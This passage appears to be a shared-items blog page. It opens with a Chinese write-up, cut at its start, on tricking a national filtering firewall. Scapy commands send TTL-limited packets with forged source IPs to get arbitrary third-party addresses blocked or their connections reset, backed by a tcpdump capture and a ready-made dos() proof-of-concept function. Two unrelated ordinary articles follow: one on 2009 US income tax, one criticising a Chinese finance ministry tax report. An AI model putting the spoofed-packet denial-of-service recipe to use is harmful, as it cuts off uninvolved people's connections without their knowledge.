从前面知道，我们到Google服务器的TTL是14跳，也就是如果我们发初始TTL小于14的话，按照TTL的基本原理，请求是不会达到Google的服务器的，如果我们控制TTL=12的话甚至可以将包通过这个神奇的设备但是不到达服务器，这个时候我们知道，如果我们在两侧放置自己的机器，在另外一侧可以伪造成Google的服务器，在自己这一侧伪造成目标的IP，控制TTL让两端的机器互相通迅触发规则，直到被这个神奇的设备列入灰名单，但是真正的被伪造的IP却不会知道发生了什么。这个思路肯定可以成功，但是之前我们可以试试其他的，毕竟我没有国外的机器，有不有可能在一端发数据包就可以实现将别的IP列入灰名单呢？我在尝试这个神奇的设备跟踪链接时的设计时找到了答案。前面我们知道，这个神奇的设备对一个请求的跟踪能够达到序列号级别，这是不可思议的事情，因为计算量和数据量太大了，那个时候我就怀疑这个神奇的设备会不会对数据包做验证，那样会增加计算量，对于骨干级的设备来说不可接受的，万一判断完之后真正的服务器已经返回了就麻烦了。同时，由于这个神奇的设备架构的设计，我们能控制数据包的出口，但是实际上数据包的返回的时候走的是可能完全不同的一条路由，所以不可能对请求的跟踪做到双向跟踪，这里的跟踪完全可能是一种虚拟行为的，对发起请求一端的校验。这里的测试也很简单，也证明了我的结论：

>>> send(IP(dst="64.233.189.103″,ttl=10)/TCP(dport=80,sport=2222,flags="S",seq=1234567))
>>> send(IP(dst="64.233.189.103″,ttl=10)/TCP(dport=80,sport=2222,flags="A",seq=1234568))
>>> send(IP(dst="64.233.189.103″,ttl=10)/TCP(dport=80,sport=2222,flags="P",seq=1234568)/"GET /search?hl=en&source=hp&q=freenet/freenet&oq=&aqi=1 HTTP/1.1
\r\nHOST: www.google.com\r\n\r\n\r\n")

注意我在伪造ttl的时候使用ttl=10，这个时候可以避免数据包传到真正的Google服务器，服务器返回ack的时候被伪造的IP会发rst重置链接而导致发起数据失败，防火墙会看到这个rst包而认为后面的push包已经过时。通过发出上面的这三个伪造的数据包，我们就可以让64.233.189.103对我的IP不可访问，可以看到其中的包括源端口，目的端口，序列号都是我自己定义的，在防火墙看来，就是我在跟64.233.189.103发起非法链接，毕竟它只能完全信任我，它没有其他的可以信任:)，想让121.121.121.121不能访问Google的80端口只需要发送下面三个包：

>>> send(IP(dst="64.233.189.103″,src="121.121.121.121″,ttl=10)/TCP(dport=80,sport=2222,flags="S",seq=1234567))
>>> send(IP(dst="64.233.189.103″,src="121.121.121.121″,ttl=10)/TCP(dport=80,sport=2222,flags="A",seq=1234568))
>>> send(IP(dst="64.233.189.103″,src="121.121.121.121″,ttl=10)/TCP(dport=80,sport=2222,flags="P",seq=1234568)/"GET /q=freenet/freenet&oq=&aqi=1 HTTP/1.1″)

甚至可以利用这个对其他的应用如gtalk进行dos，我们只要知道某个公司的出口ip，然后罗列gtalk的使用ip和端口就可以做到，非常简单，现在很多的网站往国外搬，那你有不有考虑本文提到的风险呢？有的公司甚至将Mail服务器放置在国外……
但是也可以看到，我们已经实现将后续的链接断开，因为tcp链接序列号的未知性，利用上面提到的貌似还不能让已经建立完成的tcp链接reset，但实际上这款有爱的过滤系统已经帮我们想到了，同时用nc跟Google建立两个链接，在其中一个链接里触发规则，然后在另一个无辜的链接只要被防火墙发现，就会立刻被reset了，看如下的抓包：

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
20:26:52.574643 IP (tos 0×0, ttl 64, id 55786, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60949 > 64.233.189.147.80: S, cksum 0×339b (correct), 1962684567:1962684567(0) win 5840
20:26:52.617778 IP (tos 0×0, ttl 51, id 15574, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 > 114.249.114.249.60949: S, cksum 0×8801 (correct), 4247640462:4247640462(0) ack 1962684568 win 5672
20:26:52.617791 IP (tos 0×0, ttl 64, id 55787, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60949 > 64.233.189.147.80: ., cksum 0xcc7d (correct), 1962684568:1962684568(0) ack 4247640463 win 46

20:27:00.456284 IP (tos 0×0, ttl 64, id 60678, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60979 > 64.233.189.147.80: S, cksum 0×5ebc (correct), 1983571278:1983571278(0) win 5840
20:27:00.499066 IP (tos 0×0, ttl 51, id 4036, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 > 114.249.114.249.60979: S, cksum 0xc1d9 (correct), 816454471:816454471(0) ack 1983571279 win 5672
20:27:00.499074 IP (tos 0×0, ttl 64, id 60679, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60979 > 64.233.189.147.80: ., cksum 0×0656 (correct), 1983571279:1983571279(0) ack 816454472 win 46

20:27:18.827802 IP (tos 0×0, ttl 64, id 60680, offset 0, flags [DF], proto: TCP (6), length: 77) 114.249.114.249.60979 > 64.233.189.147.80: P, cksum 0×02a9 (incorrect (-> 0xd051), 1983571279:1983571304(25) ack 816454472 win 46
20:27:18.870912 IP (tos 0×0, ttl 51, id 4036, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60979: ., cksum 0×76b1 (correct), 816454472:816454472(0) ack 1983571304 win 89
20:27:19.289520 IP (tos 0×0, ttl 64, id 60681, offset 0, flags [DF], proto: TCP (6), length: 53) 114.249.114.249.60979 > 64.233.189.147.80: P, cksum 0×0291 (incorrect (-> 0×6b05), 1983571304:1983571305(1) ack 816454472 win 46
20:27:19.334402 IP (tos 0×0, ttl 51, id 4037, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60979: ., cksum 0×7315 (correct), 816454472:816454472(0) ack 1983571305 win 89
20:27:19.338648 IP (tos 0×0, ttl 52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 > 114.249.114.249.60979: R, cksum 0×0142 (correct), 816454472:816454472(0) win 29119

20:27:37.856781 IP (tos 0×0, ttl 64, id 55788, offset 0, flags [DF], proto: TCP (6), length: 67) 114.249.114.249.60949 > 64.233.189.147.80: P, cksum 0×029f (incorrect (-> 0×4d19), 1962684568:1962684583(15) ack 4247640463 win 46
20:27:37.900887 IP (tos 0×0, ttl 51, id 15574, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60949: ., cksum 0×6aa0 (correct), 4247640463:4247640463(0) ack 1962684583 win 89
20:27:37.911380 IP (tos 0×0, ttl 52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 > 114.249.114.249.60949: R, cksum 0xd646 (correct), 4247640463:4247640463(0) win 4621

这个时候抓包的时候由于我换了服务器注意ttl已经跟之前不一样了，但是那个id=64露出了尾巴，前面三个包是第一个tcp链接，端口是60949，后面一个链接的端口是60979，下面的是60979触发规则被reset掉了，然后本来正常的第二个链接一旦发出了数据包就立刻被reset，充分证明了这个联动的迅速和及时：）
那我们就有了满篇废话之后的一个简单的结论，dos国内和国外的链接是可能的，无论是建立好的还是未建立的，在scapy里的poc函数如下：

def dos(srcip, dstip , tport ):
send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags="S",seq=3334567))
send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags="A",seq=3334568))
send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags="P",seq=3334568)/"GET /?q=freenet/freenet HTTP/1.1\r\n\r\n")
dos("114.249.114.249″,"64.233.189.103″,80);

最后再说说前面的问题，如何在数据包完全被伪造的时候判断设备的物理位置，很明显，还是利用TTL：

>>> send(IP(dst="64.233.189.103″,src="121.121.121.121″,ttl=8)/TCP(dport=80,sport=2222,flags="P",seq=1234568)/"GET /q=freenet/freenet&oq=&aqi=1 HTTP/1.1″)

在ttl=8的时候，我们依然收到了系统的重置包，这样就可以判断数据包被旁路的位置了：）

0×03 后话

从技术角度来讲，避免这种方式的攻击会比较困难，防火墙作为一个安全设备是不能对正常的使用造成影响的，所以检测的方式来说还是比较被动，譬如不能实时的丢弃一个数据包，前面我就很奇怪为什么防火墙不直接丢弃发起链接的syn包或者发起非法链接的psh包呢，这是因为防火墙整个架构和设计造成的，整个数据包已经到达服务器了，他不能丢弃。同样，由于架构的原因，我们无法使同一条tcp的数据流永远经过同一个路由器同一个设备，所以我们无法对一个数据包的有效性做验证，而即使可以验证整个请求的有效性也可以看到，在防火墙两侧一起愚弄防火墙是多么容易的事情，跟以前的反弹穿透防火墙一样，利用ttl的差异我们一样可以bypass掉对一个数据包做真实的有效性验证，这里包括其他厂商的如Cisco等设备都可能会有这种问题。我不知道对于一个设备来说，抛弃一个ttl过小的包是否明智，防火墙是旁路在设备里，也无法对ttl比较小的包做到实时的丢弃，一旦发现发现有ttl过小的包肯定不能直接放过，因为可能别人就利用这个来bypass防火墙，那么必须对ttl过小的包做处理，处理包括响应rst链接要求重置，这的确会缓解本文提到的问题，但是不知道这么复杂的逻辑会不会带来新的问题，逻辑可能本身就是漏洞。在TTL之外，而相信其他的畸形的数据包一样可能造成设备处理上的失误，只要服务器和设备对数据包处理不一致就可以实现，而这种不一致性因为种种原因是非常多的。本文只是对学习的网络知识做了一次实践，感谢历来帮助我学习的同学，你们知道你们是谁：）

 

 

可从此处完成的操作：

• 使用 Google 阅读器订阅WilliamLong's shared items in Google Reader
• 开始使用 Google 阅读器，轻松地与您喜爱的所有网站保持同步更新

 

 

美国人的个人收入要交多少税？

原文链接：http://blog.sina.com.cn/s/blog_5d8d68c10100g2dq.html?tj=1

美国人的个人收入要交多少税？(2010-01-11 07:49:55)
标签：收入 纳税 教育 分类：星条旗下
博主声明：博主发表的文章媒体或网站未经博主许可不得转载，个人博客可以转载，转载时请务必标明来源、博主姓名或以链接形式标明文章原始出处。



在我的博文中曾多次介绍美国不同阶层的收入情况，许多朋友提出美国人一年的收入到底要交多少税的问题。因美国的税法非常的复杂，此文只谈一下工薪阶层收入每年缴纳联邦政府个人收入所得税的基本情况。



不论你如何恨“山姆大叔”每年都要你交税，但现实是只要你有工作有收入就要交税。美国法律对逃税漏税处罚很重，而且追朔期很长，一旦上了国税局的黑名单，查出偷税漏税，那日子绝对不好过。



我们先看一下2009年美国个人收入所得税的税率情况。
税率 个人单独报税 夫妻合报 一家之主报税
10% $8,350以下 $16,700以下 $11,950以下
15% $8,351– $33,950 $16,701 – $67,900 $11,951 – $45,500
25% $33,951 – $82,250 $67,901 – $137,050 $45,501 – $117,450
28% $82,251 – $171,550 $137,051 – $208,850 $117,451 – $190,200
33% $171,551 – $372,950 $208,851 – $372,950 $190,201 - $372,950
35% $372,951以上 $372,951以上 $372,951以上

美国个人收入所得税是累进税制，按6个等级累进计算。下面看具体的实例，一个人在2009年可报税收入（总收入扣除各种减项后的收入）为1万美元，8350美元按10%税率应缴税835美元，1650美元按15%的税率应缴247.5美元,合计交税额为1082.5美元。



美国的个人收入所得税不是一个人挣多少钱，就按收入金额来报税。每一个报税人或是家庭在每年报税时都会有各种减项，这样会降低收入报税的基数，也算是政府从税收上尽量使纳税更加合理的一种方式。



美国的税法每年都有改动，对标准减项和其他能够作减项的内容作调整。纳税人报税时有各种减免金额，最基本的是免税额和标准减项。2009年一个家庭夫妻联合报税的标准减项为1万1340美元，夫妻分别报税每个人的标准减项5700美元，一家之主的标准减项为8350美元。65岁以上或是眼睛失明的纳税人再增加1100美元的标准减项。除此之外，家庭中每一个人有3650美元的免税额。纳税人可依据个人情况选择标准减项或是分类减项来报税。



下面我们看一下一个年收入4万美元的单身男人一年要交纳多少联邦个人收入所得税。4万美元收入减去5700美元的标准减项，再减去3650美元的免税额，如果没有其他可以作为减项的内容，他的纳税收入为3万零650美元。8350美元按10%税率，要交835美元税，2万2300美元按15%税率，要交3345美元的税，合计交税金额为4180美元。如果仅按4万美元收入的税率看，该人的收入税率应为25%，但经过免税额和标准减项加上累进税率，一个年收入4万美元的纳税人，他实际交纳的联邦个人所得税占收入的10.45%。



与此同时，工薪阶层还要付社会保险税，其中社会安全金税为6.2%，医疗保险税为1.45%。一个年收入4万美元的人每年的社会安全金税2480美元，医疗保险税为580美元，合计为3060美元，占收入的7.65%。这样年收入4万美元的人，每年缴纳联邦个人所得税和社会安全金税、医疗保险税总额为7240美元，占总收入的18.10%。当然社会安全金税、医疗保险税的缴纳主要是为了退休后的福利，到了规定的年龄后，纳税人可以每月领取1000多美元的社会安全金及享受政府提供的医疗保险。



假如一个单身纳税人的年收入是91600美元，扣除9350美元的免税额和标准减项，可报税收入是8万2250美元，他每年应缴纳的联邦个人收入所得税是1万6750美元，他实际缴纳的联邦个人所得税占收入的18.2%。每年的社会安全金税5679美元，医疗保险税为1328美元，合计为7007美元，加上个人收入所得税，每年缴纳给联邦的税金为2万3757美元，占收入的25.9%。



标准减项和免税额对低收入、人口多的家庭最为有利，美国的穷人不怕挣得少、而怕孩子少，孩子越多，免税金额就越多，最后七扣八扣连个人所得税也免得交了。如果一个家庭年收入是6万美元，家中有4口人，夫妻的标准减项额是1万1340美元，父母加两个孩子4个人的免税额是1万4600美元，合计免税额为2万5940美元。仅靠标准减项和人头的免税额，一个年收入6万的家庭，43%的收入就不用交税了。如果没有其他的减税项目，可征税的收入为3万4060美元，然后按此收入以累进税率缴纳个人收入所得税。



除了标准减项外，一个家庭在报税时还有其他的减项。最常见的减项是房地产税，美国各地房地产税在住宅价值的2%至3%不等，一座价值40万美元的住宅每年房地产税案3%计算为1万2000美元，在报税是可以作为减项，但租房的每月租金不能作为减项。家长为子女教育上的投资也可以作为减项，但对于哪种教育投资可作为减项有具体的规定，常见的教育投资减项为大学学费贷款利息、大学学费等。赠送礼品也是减项之一，每年赠送礼品免税额不能超过1万3000美元。退休基金也可作为减项，50岁以下的纳税人退休基金减项不超过5000美元，50岁以上的纳税人退休基金减项不超过6000美元。这些减项都有具体的要求，计算起来比较复杂，在此不做更多介绍。



除了联邦个人收入所得税，美国各州对个人所得税收取的比例不同，有的州干脆没有个人收入所得税。加州的个人收入所得税征收分7个税率，即1.25%、2.25%、4.25% 、6.25%、8.25% 9.55%、10.55%。对于一个居住在家州年收入超过37万2951美元以上的高收入家庭而言，联邦个人收入所得税加上加州个人收入所得税，交纳的收入税最高不超过收入的45.55%。

媒体质疑财政部报告 称个税改革很可能走向误区

原文链接：http://business.sohu.com/20090621/n264658162.shtml
媒体质疑财政部报告 称个税改革很可能走向误区
2009年06月21日14:31 [我来说两句(712)] [字号：大 中 小] 来源：投资者报 　　投资者报认为需要警惕财政部

　　投资者报(记者)对公众热议多时的个税改革问题，财政部6月17日公布的《我国个人所得税基本情况》报告，透露出许多重要的新动向。细读这一直接代表财政部立场的报告，其中一些关键结论和政策暗示，非常令人担忧，如不及时驳斥并加以扭转，个税改革很可能走向误区。


　　该报告唯一值得肯定的，是终于接受了各方面的共识，即：“根据经济发展情况、居民消费支出、市场物价水平等变化情况，今后个税起征点还将适时做出调整。”

　　但调整的核心思路是什么？能否最大程度缓解中国贫富分化的严重情况，促进收入二次分配更趋公平？在这些人们关注的问题上，该报告在这些方面得出的结论出人意料，非常令人失望，隐含的内在逻辑颇具杀伤力。

　　失望之一，对那些主动申报纳税的高收入人群，该报告没有任何肯定之处。

　　2008年，年所得12万元以上纳税人自行申报的人数为240万人，占全国个人所得税纳税人数的约3%，缴纳的税额为1294亿元，占全国个人所得税总收入的35%。他们对个税征收的重要贡献，不应当被忽略。当然这些高收入者的相当部分，来自电力、金融、石油、电信等国有垄断部门，其高收入的合理性本身就值得质疑。

　　同时，这还至少提供了两点启示：其一，要保证税收增长，并不必须靠向尽可能多的人多收税，关键要做好中高收入者等核心税源的核查和征收；其二，普遍的个税税率下调，还有很大空间，如果要鼓励中高收入人群多消费、多投资，下调税率将直接藏富于民。

　　失望之二，该报告有一个令人吃惊的重要结论：“大幅提高起征点后，高收入群体受惠多，低收入群体的利益反而会受损。”即使按照报告所举的例子，这也是在混淆视听。

　　比如将扣除标准提高至3000元/月时，月薪5000元的人可减税负100元/月，月薪10万元的人可减税负350元/月，从绝对数字上看，似乎更有利于富人。但从减少的税负与个人收入之间的比例看，一个减了2%，另一个只减了0.35%，当然还是更有利于穷人，财政部报告为何不明说？

　　虽然如此，我们也不赞同只通过提高个税起征点来减税。正如财政部财政科学研究所所长贾康所分析，如果个税起征点大幅提高，大部分工薪阶层将不用交税，即使这对个人减轻税负有一定作用，但容易让更多人纳税意识淡化，不利于纳税人权责匹配。

　　比较合理的个税改革思路，其实容易找到，即以普遍下调税率为主。财政部的官老爷们必须正视，中国是一个高税负国家，近十年来，财税收入增长远高于同期GDP和个人收入增幅，这是最大的不公平，不能再放任下去了。

　　从分项目收入来看，近年来工薪所得项目个税收入，竟占个税总收入的50%左右，这也与中国“高收入者多缴税，低收入者少缴税或不缴税”的立法精神，存在直接冲突。因此，尽可能改变不合理的个税征收状况，财政部责无旁贷。

　　失望之三，该报告竟以减税可能导致财政收入减少为由，声称：“国家对低收入群体的补贴以及社保、教育、医疗等支出也都会受影响。”这是明显的推卸责任和要挟公众。

　　中国的个税征收并不充分，事实上，因为税率偏高，让不少人想方设法偷税漏税。如果税率降至合理水平，稍微加强征收力度，更多中高收入者会主动交税，个税总收入不一定会减少。

　　更何况，个税年收入不到4000亿元，占国家财政总收入比重不足7%，即使个税收入有所减少，对超过5万亿元的财政年收入影响微乎其微。但令人心寒的是，该报告竟不顾这一基本事实，硬将个税下调与政府应承担的民生与社会责任扯在一起，其内在逻辑近乎无赖。

　　而从财政部每年语焉不详的预算报告不难看到，真正用于社保、教育、医疗等民生支出的钱，并不占最大比重。相反，许多明显的支出漏洞和惊人浪费，财政部却极尽遮掩之能事，偶有审计曝光，往往不了了之。同时，在大手大脚花钱方面，财政部却非常慷慨，比如每年公款吃喝上千亿，公车购置花费上千亿，这些高额支出，财政部从来没打过折扣。

　　而在最近公布的政府公车采购名单里，我们看到了奔驰、宝马等豪华车也已入选。也许是为了平息公众可能的愤怒，该名单勉强附上一个价格限制，不超过45万元！这是多少钱？按2008年统计数据，这样一辆车，相当于30个城市居民或95个农民的年收入。花这么多财政收入买车，哪里是为了工作需要，分明在公然滥用权力，拿民脂民膏穷奢极欲。

　　所以，在个税改革问题上，财政部不能再避重就轻，推三阻四。如何确保税负公平，直接涉及亿万国民切身利益，关系经济和社会稳定大局。作为掌握着较大改革主导权的财政部，究竟站在谁的立场上考虑问题，能否尽到起码的为公众利益着想的职责，要想明白些。

　　我们也非常希望，这份明显带有财政部改革探路意味的报告，不要真的成为下一步个税改革思路的研究依据。对于报告中明显扰乱视听的混乱逻辑，我们要坚决反驳，高度警觉。

　　(作者为《投资者报》执行总编辑)